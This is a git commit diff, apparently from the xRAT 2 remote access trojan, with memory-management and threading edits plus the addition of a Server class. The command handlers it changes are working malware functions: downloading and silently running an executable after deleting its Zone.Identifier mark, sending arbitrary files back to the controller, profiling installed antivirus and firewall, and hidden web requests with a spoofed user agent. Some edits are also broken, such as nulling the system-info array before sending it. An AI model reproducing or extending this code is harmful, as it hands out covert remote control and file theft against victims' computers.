Minor changes - memory management

This commit is contained in:
187Final 2014-08-01 07:37:11 -05:00
parent ee061e927d
commit 8c1c1ca00c
4 changed files with 165 additions and 55 deletions

View File

@ -11,6 +11,7 @@ using System.ComponentModel;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace Core
{
@ -269,6 +270,8 @@ namespace Core
if (!_handle.ReceiveAsync(e))
Process(null, e);
GC.Collect();
}
else
{
@ -376,31 +379,36 @@ namespace Core
private void HandleSendQueue()
{
for (int i = 0; i < 5; i++)
new Thread(() =>
{
try
for (int i = 0; i < 5; i++)
{
if (_sendIndex >= _sendBuffer.Length)
try
{
_sendIndex = 0;
_sendBuffer = Header(_sendQueue.Dequeue());
if (_sendIndex >= _sendBuffer.Length)
{
_sendIndex = 0;
_sendBuffer = Header(_sendQueue.Dequeue());
}
int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize);
_item[1].SetBuffer(_sendBuffer, _sendIndex, write);
if (!_handle.SendAsync(_item[1]))
Process(null, _item[1]);
GC.Collect();
return;
}
catch
{
continue;
}
int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize);
_item[1].SetBuffer(_sendBuffer, _sendIndex, write);
if (!_handle.SendAsync(_item[1]))
Process(null, _item[1]);
return;
}
catch
{
continue;
}
}
Disconnect();
Disconnect();
}).Start();
}
private byte[] Header(byte[] data)

View File

@ -92,15 +92,14 @@ namespace Core.Commands
{
new Thread(new ThreadStart(() =>
{
byte[] fileBytes = command.FileBytes;
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
try
{
if (fileBytes[0] != 'M' && fileBytes[1] != 'Z')
if (command.FileBytes[0] != 'M' && command.FileBytes[1] != 'Z')
throw new Exception("no pe file");
File.WriteAllBytes(tempFile, fileBytes);
File.WriteAllBytes(tempFile, command.FileBytes);
DeleteFile(tempFile + ":Zone.Identifier");
@ -113,10 +112,13 @@ namespace Core.Commands
startInfo.UseShellExecute = command.RunHidden;
startInfo.FileName = tempFile;
Process.Start(startInfo);
command = null;
}
catch
{
DeleteFile(tempFile);
command = null;
new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client);
return;
}
@ -320,11 +322,11 @@ namespace Core.Commands
{
try
{
byte[] bytes = File.ReadAllBytes(command.RemotePath);
new Core.Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), bytes, command.ID).Execute(client);
new Core.Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), File.ReadAllBytes(command.RemotePath), command.ID).Execute(client);
command = null;
}
catch
{ }
{ command = null; }
}
public static void HandleMouseClick(Core.Packets.ServerPackets.MouseClick command, Core.Client client)
@ -378,28 +380,33 @@ namespace Core.Commands
infoCollection[17] = SystemCore.GetAntivirus();
infoCollection[18] = "Firewall";
infoCollection[19] = SystemCore.GetFirewall();
command = null;
infoCollection = null;
new Core.Packets.ClientPackets.GetSystemInfoResponse(infoCollection).Execute(client);
}
catch
{ }
{
command = null;
}
}
public static void HandleVisitWebsite(Core.Packets.ServerPackets.VisitWebsite command, Core.Client client)
{
string url = command.URL;
if (!command.URL.StartsWith("http"))
command.URL = "http://" + command.URL;
if (!url.StartsWith("http"))
url = "http://" + url;
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
if (Uri.IsWellFormedUriString(command.URL, UriKind.RelativeOrAbsolute))
{
if (!command.Hidden)
Process.Start(url);
Process.Start(command.URL);
else
{
try
{
HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(url);
HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(command.URL);
Request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36";
Request.AllowAutoRedirect = true;
Request.Timeout = 10000;
@ -410,9 +417,10 @@ namespace Core.Commands
reader.Close();
DataStream.Close();
Response.Close();
command = null;
}
catch
{ }
{ command = null; }
}
new Core.Packets.ClientPackets.Status("Visited Website").Execute(client);
@ -423,6 +431,7 @@ namespace Core.Commands
{
MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
new Core.Packets.ClientPackets.Status("Showed Messagebox").Execute(client);
command = null;
}
public static void HandleUpdate(Core.Packets.ServerPackets.Update command, Core.Client client)

85
Client/Core/Server.cs Normal file
View File

@ -0,0 +1,85 @@
using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Core.Packets;
using Core.Packets.ClientPackets;
using Core.Packets.ServerPackets;
namespace Core
{
public class Server
{
public event ServerStateEventHandler ServerState;
public delegate void ServerStateEventHandler(Server s, bool listening);
private void OnServerState(bool listening)
{
if (ServerState != null)
{
ServerState(this, listening);
}
}
public event ClientStateEventHandler ClientState;
public delegate void ClientStateEventHandler(Server s, Client c, bool connected);
private void OnClientState(Client c, bool connected)
{
if (ClientState != null)
{
ClientState(this, c, connected);
}
}
public event ClientReadEventHandler ClientRead;
public delegate void ClientReadEventHandler(Server s, Client c, IPacket packet);
private void OnClientRead(Client c, IPacket packet)
{
if (ClientRead != null)
{
ClientRead(this, c, packet);
}
}
public event ClientWriteEventHandler ClientWrite;
public delegate void ClientWriteEventHandler(Server s, Client c, IPacket packet, long length);
private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData)
{
if (ClientWrite != null)
{
ClientWrite(this, c, packet, length);
}
}
private bool Processing { get; set; }
public int BufferSize { get; set; }
public bool Listening { get; private set; }
private List<KeepAlive> _keepAlives;
private List<Type> PacketTypes { get; set; }
public Server(int bufferSize)
{
PacketTypes = new List<Type>();
BufferSize = bufferSize;
}
internal void HandleKeepAlivePacket(KeepAliveResponse packet, Client client)
{
foreach (KeepAlive keepAlive in _keepAlives)
{
if (keepAlive.TimeSent == packet.TimeSent && keepAlive.Client == client)
{
_keepAlives.Remove(keepAlive);
break;
}
}
}
}
}

View File

@ -11,6 +11,7 @@ using System.IO;
using System.Net;
using System.Net.Sockets;
using xRAT_2.Settings;
using System.Threading;
namespace Core
{
@ -277,6 +278,8 @@ namespace Core
if (!_handle.ReceiveAsync(e))
Process(null, e);
GC.Collect();
}
else
{
@ -387,31 +390,36 @@ namespace Core
private void HandleSendQueue()
{
for (int i = 0; i < 5; i++)
new Thread(() =>
{
try
for (int i = 0; i < 5; i++)
{
if (_sendIndex >= _sendBuffer.Length)
try
{
_sendIndex = 0;
_sendBuffer = Header(_sendQueue.Dequeue());
if (_sendIndex >= _sendBuffer.Length)
{
_sendIndex = 0;
_sendBuffer = Header(_sendQueue.Dequeue());
}
int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize);
_item[1].SetBuffer(_sendBuffer, _sendIndex, write);
if (!_handle.SendAsync(_item[1]))
Process(null, _item[1]);
GC.Collect();
return;
}
catch
{
continue;
}
int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize);
_item[1].SetBuffer(_sendBuffer, _sendIndex, write);
if (!_handle.SendAsync(_item[1]))
Process(null, _item[1]);
return;
}
catch
{
continue;
}
}
Disconnect();
Disconnect();
}).Start();
}
private byte[] Header(byte[] data)